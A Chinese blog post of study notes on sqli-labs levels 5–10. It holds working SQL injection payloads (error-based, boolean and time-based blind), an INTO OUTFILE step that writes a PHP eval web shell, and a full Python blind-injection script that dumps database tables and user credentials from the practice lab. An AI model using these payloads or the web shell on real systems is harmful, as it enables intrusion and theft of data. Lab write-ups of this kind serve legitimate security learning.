首页 > 数据库 >sqli-lab学习笔记(学习笔记)(1-10)

sqli-lab学习笔记(学习笔记)(1-10)

时间:2023-05-19 17:32:02浏览次数:48  
标签:http Less lab sqli 笔记 str print ascii select


经常会犯的错误:
1.在hackbar里面忘记用%23替代#
2.在用下一条语句的时候忘记更改limit的值导致结果显示不出来
3.双注入里面的语句忘记加()

日志是我后来想到发的,前面几关也都基础简单的,giantbranch大佬写的挺好的很详细,我也是按他的一步步学习来的,然后在里面增加自己的知识点和内容,对他进行补充和说明
他的文章地址:javascript:void(0)

less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

先通过简单的判断发现是3个字段,然后搜索数据库的名称 发现页面没东西显示出来

http://10.10.10.145:8081‘union select 1,2,database %23

sqli-lab学习笔记(学习笔记)(1-10)_php


会发现只有这几个单词出现,没有其他的消息出现 再看源码

sqli-lab学习笔记(学习笔记)(1-10)_sql注入_02

本身就没有输出,所以想办法让它输出我们需要的信息

有一个研究人员发现,一个聚合函数比如count函数后面如果使用分组语句的话就会把查询的结果以一部分的错误显示出来,因为有随机性要多刷新几次

那我们就用count(*),返回的是总行数

让我们构造这样的语句

http://10.10.10.145:8081/Less-5/index.php?id=1' union select count(*),2,concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

sqli-lab学习笔记(学习笔记)(1-10)_ci_03

=====================================================
①1和2的位置至少要有一个count(*)

②concat()就是把多个字符串连接成一个字符,里面的查询语句必须要用小括号括起来,前面可以家任何字符来帮助你区分出你要的信息和错误的信息,但是floor(rand()*2)这个是必须要有的,否则不会起效果

③as a就是把前面的查询结果起一个别名,名字叫做a,你也可以不加as 直接在后面加a,但是我不推荐你这么做

=====================================================
然后开始查表

http://10.10.10.145:8081/Less-5/index.php?id=1' union select count(*),2,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~',floor(rand()*2)) as a from information_schema.tables group by a %23

需要配合limit 来一个个遍历,所有的注入环节都在concat里面完成

sqli-lab学习笔记(学习笔记)(1-10)_sql注入_04

然后查列

http://10.10.10.145:8081/Less-5/index.php?id=1' union select count(*),2,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),'~',floor(rand()*2)) as a from information_schema.tables group by a %23

sqli-lab学习笔记(学习笔记)(1-10)_sql注入_05

查数据

http://10.10.10.145:8081/Less-5/index.php?id=1' union select count(*),2,concat('~',(select concat_ws(char(45),username,password) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a %23

sqli-lab学习笔记(学习笔记)(1-10)_sqli-labs_06

less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

这个题的思路跟第5题一样就是把单引号换成双引号就可以了

http://10.10.10.145:8081/Less-6/index.php?id=1"union select count(*),2,concat('~',(select concat_ws(char(45),username,password) from users limit 0,1),'~',floor(rand()*2)) as a from information_schema.tables group by a%23

sqli-lab学习笔记(学习笔记)(1-10)_sql注入_07

less 7 GET - Dump into outfile - String (导出文件GET字符型注入)

导出文件就是用sql语句导出一个文件,我们可以导出一句话然后用菜刀连接

常用的语句:select <?php @eval($_POST['storm']);?>" into outfile "XXX\test.php后面是网站的绝对路径

路径根据系统和数据库猜测如winserver的iis默认路径是c:/inetpub/wwwroot/linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs

两个重要变量:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

先爆出路径

http://10.10.10.145:8081/Less-7/index.php?id=-1')) union select 1,concat_ws(char(45),@@datadir,@@basedir),3 %23

sqli-lab学习笔记(学习笔记)(1-10)_信息安全_08

然后就是导出文件了

sqli-lab学习笔记(学习笔记)(1-10)_php_09

sqli-lab学习笔记(学习笔记)(1-10)_信息安全_10

然后打开

sqli-lab学习笔记(学习笔记)(1-10)_php_11

sqli-lab学习笔记(学习笔记)(1-10)_php_12

总结
1.在实验中发现爆出的那个mysql路径无法写入,就换了一个路径就可以写入
2.在输入文件绝对路径的时候‘\’需要被转义所以要用’\\’,
3.文本内容都要用单引号包括住
4.一句话里面如果还要用单引号就用双引号代替,否则会出错

less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

加个引号发现,页面没有报错而且没有任何信息的输出,所以只能用盲注了。

==需要补充的额外知识======

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

=====================

我们用and连接在写一个语句,只有and前后语句都为真结果才真,其中一个为假结果就为假

所以我们用这个语句来判断

http://10.10.10.145:8081/Less-8/index.php?id=1'and if(ascii(substr((select database()),1,1))>64, 1, 0) %23

页面正常说明数据库的第一个字母的ascii值大于64

sqli-lab学习笔记(学习笔记)(1-10)_php_13

然后用数学的二分法不断进行猜测

http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://10.10.10.145:8081/Less-8/index.php?id=1'and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://10.10.10.145:8081/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
http://10.10.10.145:8081/Less-8/index.php?id=1'and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

最后我们用http://10.10.10.145:8081/Less-8/index.php?id=1'and ascii(substr((select database()),1,1))=115 %23 进行验证 返回正确,说明数据库的第一个字母的ascii为115

sqli-lab学习笔记(学习笔记)(1-10)_php_14

然后猜解其他的也是这样只需要把substr((select database()),1,1)的第一个1改下就好然后用二分法不断逼近这个位置字母正确的ascii值

盲注的过程比较漫长可以写脚本来执行,或者用sqlmap
这里引用下giantbranch大佬写的

# -*-coding:utf-8-*-

""" 
@version:  
@author: giantbranch 
@file: blindsqlinjection.py 
@time: 2016/5/1  
""" 

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload  length:猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False

# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串   pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False

# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print "length of DBname: " + str(lengthOfDBName)
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)

    print "current database:" + DBname

    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print "count of talbe:" + str(tableCount)

    # 获取数据库中的表
    for i in xrange(0,tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print "current table length:" + str(tableNameLength)
        # 获取当前这个表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print tableName


    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print "table:" + getTable + " --count of column:" + str(columnCount)

    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print "table:" + getTable + " --count of data: " + str(dataCount)

    data = []
    # 获取指定表中的列
    for i in xrange(0,columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print "current column length:" + str(columnNameLength)
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print columnName

        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)

        data.append(tmpData)

    # print data    
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "   "
    print tmp
    # 输出具体数据
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "   "
        print tmp

# 获取字符串的长度          
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5   
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else: 
        # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间:大于等于 lengthLeft,小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
    return lengthLeft

# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格,是第一个可显示的字符,127是delete,最后一个字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
            # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp  


def main():
    inject()
main()

less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

这题是不管怎么样都只是显示 You are in………..

sqli-lab学习笔记(学习笔记)(1-10)_php_15

我们就用

http://localhost/sqli-labs/Less-9/?id=1' and sleep(3) %23

用and 连接sleep(3)你会发现页面要刷新要3秒,用这个来判断

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

if()函数的解释请看上一关,就是如果条件成立,页面显示You are in………..,如果页面就等待5秒在刷新成功,这题感觉跟上面一题很类似的,这里把sleep()函数当作判断条件,适合那种没有任何提示信息输出,只能用sleep()控制页面的刷新情况来达到知道结果的目的。

其实也可以这样 (如果有错误信息输出的话)

http://10.10.10.145:8081/Less-9/index.php?id=1' and if(ascii(substr(database(),1,1))>114, 1,0) %23 

http://10.10.10.145:8081/Less-9/index.php?id=1' and if(ascii(substr(database(),1,1))>115, 1,0) %23

sqli-lab学习笔记(学习笔记)(1-10)_信息安全_16

sqli-lab学习笔记(学习笔记)(1-10)_ci_17

if后面2个参数,1(非0)表示正常,0表示不正常,当然你也可以位置换一下

*这题其实没有输出不能这解,只是一个对自己的考验和练习

然后接下来的步骤其实跟第8题一样的

less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

跟上一关一样只是把单引号换成双引号而已

sqli-lab学习笔记(学习笔记)(1-10)_信息安全_18


标签:http,Less,lab,sqli,笔记,str,print,ascii,select
From: https://blog.51cto.com/u_14008060/6314334

相关文章

  • ④ActiveMQ 与 SpringBoot 集成——(动力节点)ActiveMQ笔记
    第四章ActiveMQ与SpringBoot集成4-1ActiveMQ与SpringBoot集成集成配置1、加载springboot的activeMQ的依赖<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId></dependency><depen......
  • “百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi
    收获的知识:重定向一般发生在访问域名而且不加参数或者文件夹名,文件名这样的情况下sql注入也要留意HTTP信息的变化可以利用SQLmap跑一下看看有没有有用的信息不使用单引号和逗号的注入的注入技巧   发现页面空白然后查看源文件发现另一个页面进去后出现 后来手测和用sqlmap......
  • JavaScript学习笔记: 函数
    概念在js中,函数与其他类型一样,是一个支持所有操作的值,是一个对象,是编程语言里的“一等公民”函数是一个代码块,每被调用一次,其代码就会执行一次。函数有一个被{}包裹的函数体,具体的逻辑代码就写在里面。使用return关键字返回函数的计算结果,如果没有返回值,那函数调用表达式的值......
  • docker从入门到实践学习笔记【环境ubuntu16.04】【一】
    镜像加速国内从DockerHub拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker官方和国内很多云服务商都提供了国内加速器服务,例如: Docker官方提供的中国registrymirrorhttps://registry.docker-cn.com七牛云加速器https://reg-mirror.qiniu.com/ 我们以Docker官......
  • docker从入门到实践学习笔记【环境ubuntu16.04】【二】
     目录获取镜像 运行容器列出镜像虚悬镜像中间层镜像 删除本地镜像批量删除镜像  镜像是docker的三大组件之一。Docker运行容器前需要本地存在对应的镜像,如果本地不存在该镜像,Docker会从镜像仓库下载该镜像。 获取镜像 从Docker镜像仓库获取镜像的命令是dockerpull。......
  • docker从入门到实践学习笔记【环境ubuntu16.04】【三】
    目录 新建容器并启动启动已经终止的容器后台运行终止容器进入容器导入和导出容器导出容器导入容器删除容器清理所有终止状态的容器新建容器并启动 dockerrun 例如,下面的命令输出一个“HelloWorld”,之后终止容器 $dockerrunubuntu:14.04/bin/echo'Helloworld'Hellow......
  • docker从入门到实践学习笔记【环境ubuntu16.04】【四】
    目录数据卷创建一个数据卷查看所有数据卷查看指定数据卷的详细信息启动容器的同时挂在数据卷查看容器的信息删除数据卷在容器销毁时自动删除数据卷挂载主机目录作为数据卷挂载一个本地主机文件作为数据卷  数据卷数据卷特性:1.可以在容器之间共享和重用2.对数据卷的修改立马生效3.......
  • Qt+QtWebApp开发笔记(二):http服务器日志系统介绍、添加日志系统至Demo测试
    前言  上一篇使用QtWebApp的基于Qt的轻量级http服务器实现了一个静态网页返回的Demo,网页服务器很重要的就是日志,因为在服务器类上并没有直接返回,所以,本篇先把日志加上。 Demo  下载地址  链接:https://pan.baidu.com/s/1BPVRLS07qk-WPi-txERKbg?pwd=1234......
  • TS高级类型 Record、Pick、Partial、Required、Readonly、Exclude、Extract、Omit、No
    keyof获取类型内所有的key,即所有属性名,获取的是一个联合类型这里类型指:通过interface或type定义的类型;通过typeofxxx返回的类型等。keyof后面必须是类型,不能是具体的对象interfaceIPeople{name:string,age?:number,sex:string,}ty......
  • C++ Primer 学习笔记—— 第三章
    第三章字符串、向量和数组前言标准库是C++必不可少的一部分,作为C++的延伸,标准库的优雅令人陶醉。如标题所言,在这一章我们将要学习数组、字符串和向量。若学习过其他编程语言,相信对数组并不陌生。其作为固定存储序列,能够为我们提供很多数据结构的解决思路,但是其在灵活性方面的......